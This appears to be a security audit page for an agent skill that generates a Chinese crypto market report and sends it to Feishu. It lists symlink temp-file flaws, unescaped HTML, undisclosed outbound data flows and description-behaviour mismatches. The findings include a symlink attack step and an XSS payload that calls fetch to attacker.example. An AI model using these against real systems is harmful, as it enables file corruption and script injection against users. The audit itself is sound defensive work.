Back to skill

Security audit

查看每日热门山寨代币

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly does what it claims, but it uses unsafe temporary files and may send a generated report containing knowledge-base content to Feishu without clear user confirmation.

Review this before installing. It is not clearly malicious, but it should use private temporary directories, escape all report HTML fields, and ask before sending any report to Feishu, especially if the report includes knowledge-base content.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Warning
Location
fetch-data.sh:10
Finding
Predictable CoinGecko data file permits symlink-based overwrite<![CDATA[ ## Vulnerability Details **File Location**: `fetch-data.sh:10-16` **Vulnerability Type**: Predictable temporary file and unsafe file overwrite **Risk Level**: Medium ### Vulnerable Code ```bash # 获取数据 DATA=$(curl -s "https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=$COIN_IDS&order=market_cap_desc&sparkline=false&price_change_percentage=24h") echo "$DATA" > /tmp/coins.json # 检查数据是否获取成功 if [ -s /tmp/coins.json ]; then echo "数据获取成功" ``` ### Technical Analysis The script writes API data to the fixed, globally predictable path `/tmp/coins.json`. Shell output redirection follows symbolic links and overwrites an existing target. On a multi-user system, another local user can create `/tmp/coins.json` as a symbolic link before the Skill runs. If the linked target is writable by the account executing the Skill, the script overwrites that target with the CoinGecko response. The nonempty-file check does not verify ownership, file type, or whether the path is a symbolic link. The same unsafe behavior is prescribed in `SKILL.md:17-22`, where fixed `/tmp/coins_part1.json` and `/tmp/coins_part2.json` paths are used. ### Attack Path 1. A local attacker predicts that the Skill will write `/tmp/coins.json`. 2. The attacker creates that path as a symbolic link to a file writable by the victim: ```bash ln -s /path/to/victim-writable-file /tmp/coins.json ``` 3. The victim executes `fetch-data.sh`. 4. The shell follows the symbolic link during `echo "$DATA" > /tmp/coins.json`. 5. The linked file is truncated and replaced with the API response. ### Impact Assessment An attacker can overwrite or corrupt files writable by the account running the Skill. This may cause denial of service, application configuration corruption, or report-data manipulation. The flaw does not independently allow overwriting files that the executing account lacks permission to modify, and no privilege escalation beyond that account was demonstrated. ]]>
Remediation
<![CDATA[ ## Remediation Suggestions - Create a private temporary directory with restrictive permissions: ```bash TMP_DIR=$(mktemp -d) || exit 1 chmod 700 "$TMP_DIR" trap 'rm -rf "$TMP_DIR"' EXIT DATA_FILE="$TMP_DIR/coins.json" ``` - Write only inside that private directory rather than directly under `/tmp`. - Quote every path and verify that the output is a regular file owned by the current user. - Use `curl --fail --show-error --location` with connection and overall timeouts. - Write to a newly created temporary file and atomically rename it after JSON and schema validation. - Update the corresponding commands in `SKILL.md` so the documented workflow does not reintroduce fixed temporary paths. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
generate-report.py:164
Finding
Predictable HTML report path permits symlink-based overwrite<![CDATA[ ## Vulnerability Details **File Location**: `generate-report.py:164-167` **Vulnerability Type**: Predictable temporary file and unsafe file overwrite **Risk Level**: Medium ### Vulnerable Code ```python def save_html(html, path="/tmp/早报.html"): """保存HTML文件""" with open(path, 'w', encoding='utf-8') as f: f.write(html) return path ``` ### Technical Analysis The report is written to the fixed path `/tmp/早报.html` with Python's `open(..., 'w')`. This operation follows symbolic links and truncates an existing target. No check is performed to ensure that the destination is a regular file owned by the current user. Because `/tmp` is normally shared and the filename is predictable, a local attacker can pre-create the path as a symbolic link. The report-generation process then writes through that link using the permissions of the account running the Skill. ### Attack Path 1. A local attacker creates `/tmp/早报.html` as a symbolic link to another file writable by the victim. 2. The victim runs `generate-report.py`. 3. `save_html()` opens the predictable path in write mode. 4. Python follows the symbolic link and truncates the linked target. 5. The target is replaced with the generated HTML report. ### Impact Assessment The attacker can corrupt or replace any file writable by the Skill's operating-system account. Potential consequences include denial of service, loss of user data, or alteration of application files. The vulnerability does not itself bypass operating-system permissions or grant administrative privileges. ]]>
Remediation
<![CDATA[ ## Remediation Suggestions - Use `tempfile.TemporaryDirectory()` or `tempfile.NamedTemporaryFile()` in a private directory: ```python import os import tempfile report_dir = tempfile.mkdtemp(prefix="crypto-report-") os.chmod(report_dir, 0o700) report_path = os.path.join(report_dir, "report.html") ``` - If a stable destination is required, reject symbolic links and use secure creation flags such as `O_CREAT | O_EXCL | O_NOFOLLOW` where supported. - Verify that the destination is a regular file owned by the current user before replacing it. - Write to a securely created temporary file and use an atomic rename. - Remove generated temporary artifacts after PDF conversion and delivery. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:17
Finding
Skill instructions prescribe unsafe predictable temporary files<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:17-22` **Vulnerability Type**: Unsafe temporary-file handling in executable Skill instructions **Risk Level**: Medium ### Vulnerable Code ```bash curl -s "https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=solana,binancecoin,ripple,cardano,dogecoin,chainlink,avalanche-2,polygon,polkadot,stellar&order=market_cap_desc&sparkline=false" > /tmp/coins_part1.json ``` ```bash curl -s "https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=fetch-ai,render-token,ocean-protocol,uniswap,aave,near,aptos,pepe,optimism,ondo,kite-ai,world-liberty-financial&order=market_cap_desc&sparkline=false" > /tmp/coins_part2.json ``` ### Technical Analysis The Skill directs the agent to redirect network responses into two fixed paths in the shared `/tmp` directory. Although this code is documentation rather than an automatically invoked script, it is part of the Skill's executable workflow and may be run verbatim by an agent. Shell redirection follows symbolic links. An attacker with local access can pre-create either path as a symbolic link to a victim-writable file, causing the agent to overwrite that file when it follows the documented procedure. The HTTPS requests themselves send only fixed public coin identifiers and ordinary query parameters. No credential, local file, environment variable, or other sensitive information is transmitted to CoinGecko; therefore, the pre-scan's sensitive-network-transmission warning is not confirmed. ### Attack Path 1. A local attacker anticipates execution of the documented Skill workflow. 2. The attacker creates `/tmp/coins_part1.json` or `/tmp/coins_part2.json` as a symbolic link. 3. The agent executes the documented `curl` command. 4. Shell redirection follows the link. 5. A file writable by the agent's account is truncated and replaced with public API data. ### Impact Assessment The flaw can result in file corruption or denial of service within ...[truncated 165 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Replace fixed paths with files inside a private directory created by `mktemp -d`. - Apply mode `0700` to the directory and register a cleanup trap. - Use `curl --fail --show-error` and validate the downloaded content before processing it. - Ensure that all examples and agent instructions use the same secure temporary-file strategy as the implementation. - Do not rely only on a predictable filename change; the directory and file creation must be race-resistant. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
generate-report.py:80
Finding
Unescaped network-derived values are embedded in a browser-rendered HTML report<![CDATA[ ## Vulnerability Details **File Location**: `generate-report.py:80-138` **Vulnerability Type**: HTML injection through unescaped external data **Risk Level**: Medium ### Vulnerable Code The top-altcoin table inserts a remote symbol directly into HTML: ```python html += f"""<tr> <td>{i}</td> <td><strong>{coin['symbol'].upper()}</strong></td> <td>${price:.4f}</td> <td class="{change_class}">{change_str}</td> <td>${low:.4f}-${high:.4f}</td> <td>${fdv/1e9:.1f}B</td> </tr> """ ``` The sector table performs the same direct interpolation: ```python html += f"<tr><td>{sector}</td><td>{coin['symbol'].upper()}</td><td>${price:.4f}</td><td>{change_str}</td><td>{fdv_str}</td><td>{comment}</td></tr>\n" ``` The long-term table directly inserts a remote coin name: ```python html += f"<tr><td>{coin['name']}</td><td>${price:.4f}</td><td>{change_str}</td><td>${fdv/1e6:.0f}M</td><td>{reason}</td></tr>\n" ``` ### Technical Analysis The `symbol` and `name` fields originate from `/tmp/coins.json`, which is populated from a network API. These strings are inserted into HTML without contextual escaping or character validation. If an attacker can alter the local JSON file, compromise the upstream response, or otherwise cause a malicious value to be returned, a value such as an image element with an event handler can escape the intended table-cell text context. The resulting markup is interpreted when the report is opened in a browser, as prescribed by the Skill. HTTPS reduces direct interception risk but does not replace output encoding. The predictable and writable temporary-data path also provides a local route for supplying crafted JSON. ### Attack Path 1. An attacker alters `/tmp/coins.json` before report generation or controls a returned `name` or `symbol` field. 2. The attacker supplies a value containing active HTML, for example: ```json { "symbol": "<img src=x onerror=\"fetch('https://attacker.example/event')\">" } ``` 3. `generate-report ...[truncated 831 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Escape every externally sourced string before inserting it into HTML: ```python from html import escape safe_symbol = escape(str(coin.get("symbol", "")).upper(), quote=True) safe_name = escape(str(coin.get("name", "")), quote=True) ``` - Use the escaped variables in all HTML interpolation sites. - Validate the API response against an explicit schema before report generation. - Restrict coin symbols to a conservative allowlist such as letters, digits, periods, and hyphens where compatible with expected data. - Store downloaded JSON in a private, securely created temporary directory to prevent local replacement. - Add a restrictive Content Security Policy to the generated HTML, for example disabling scripts and limiting network connections: ```html <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline'; img-src data:; connect-src 'none';"> ``` - Prefer a template engine with automatic HTML escaping rather than assembling HTML with raw string interpolation. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (12)

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The documented behavior says the skill generates a PDF from CoinGecko data and sends it via Feishu, but the actual instructions only produce HTML and rely on manual browser export, while also referencing local JSON and an unimplemented send step. This mismatch is dangerous because operators may trust declared behavior during review while actual execution paths and data handling differ, undermining transparency and auditability.

Lp3

Medium
Category
MCP Least Privilege
Confidence
88% confidence
Finding
The skill instructs use of shell commands and file writes but does not declare any explicit tool scope or permissions boundaries. This weakens least-privilege controls and can allow broader-than-expected execution capability if the runtime grants default shell or filesystem access.

Description-Behavior Mismatch

Medium
Confidence
95% confidence
Finding
The skill claims CoinGecko as the data source, but the instructions also require pulling industry news from a knowledge base and delivering the result through Feishu. This incomplete disclosure hides additional data sources and outbound data flows, which can surprise users and bypass informed consent expectations.

Missing User Warnings

Medium
Confidence
91% confidence
Finding
The skill directs sending a generated PDF to Feishu but provides no explicit user warning or confirmation about external transmission. Even if the report is mostly market data, it may include user-selected content or internal knowledge-base news, creating a data leakage risk through third-party messaging.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
The script's comments and user-visible status messages are entirely in Chinese, including the runtime output on lines L07, L16, and L18. The policy requires flagging language or locale constraints when a skill forces a specific language without user opt-in or clear justification.

External Transmission

Medium
Category
Data Exfiltration
Content
echo "正在获取加密货币数据..."

# 获取数据
DATA=$(curl -s "https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=$COIN_IDS&order=market_cap_desc&sparkline=false&price_change_percentage=24h")

echo "$DATA" > /tmp/coins.json
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
echo "正在获取加密货币数据..."

# 获取数据
DATA=$(curl -s "https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=$COIN_IDS&order=market_cap_desc&sparkline=false&price_change_percentage=24h")

echo "$DATA" > /tmp/coins.json
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
echo "正在获取加密货币数据..."

# 获取数据
DATA=$(curl -s "https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=$COIN_IDS&order=market_cap_desc&sparkline=false&price_change_percentage=24h")

echo "$DATA" > /tmp/coins.json
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Intent-Code Divergence

Medium
Confidence
95% confidence
Finding
The top-level documentation explicitly states '生成PDF格式早报并发送到飞书'. However, the script only generates HTML and saves it to a local file under /tmp, with no Feishu integration or outbound request, creating a direct contradiction between documentation and implementation.

Natural-Language Policy Violations

Medium
Confidence
93% confidence
Finding
The module docstring states the skill is a '加密货币早报生成器' and generates a report in Chinese, and the generated content throughout the file is hard-coded in Chinese. Under the policy, language-specific behavior is a violation when it is forced without user opt-in or a clearly documented region-specific justification.

Description-Behavior Mismatch

Medium
Confidence
97% confidence
Finding
The manifest says the skill generates a crypto morning-report PDF using data from the CoinGecko API. In this file, data is loaded only from /tmp/coins.json and the output saved is HTML, not PDF, so the implemented behavior materially differs from the stated skill behavior.

Natural-Language Policy Violations

Low
Confidence
94% confidence
Finding
The instruction explicitly requires using Chinese, which is a locale/language constraint. Because the skill does not offer opt-in, fallback, or explain that it is limited to a Chinese-only regional workflow, this is a natural-language policy concern.

Static analysis

No suspicious patterns detected.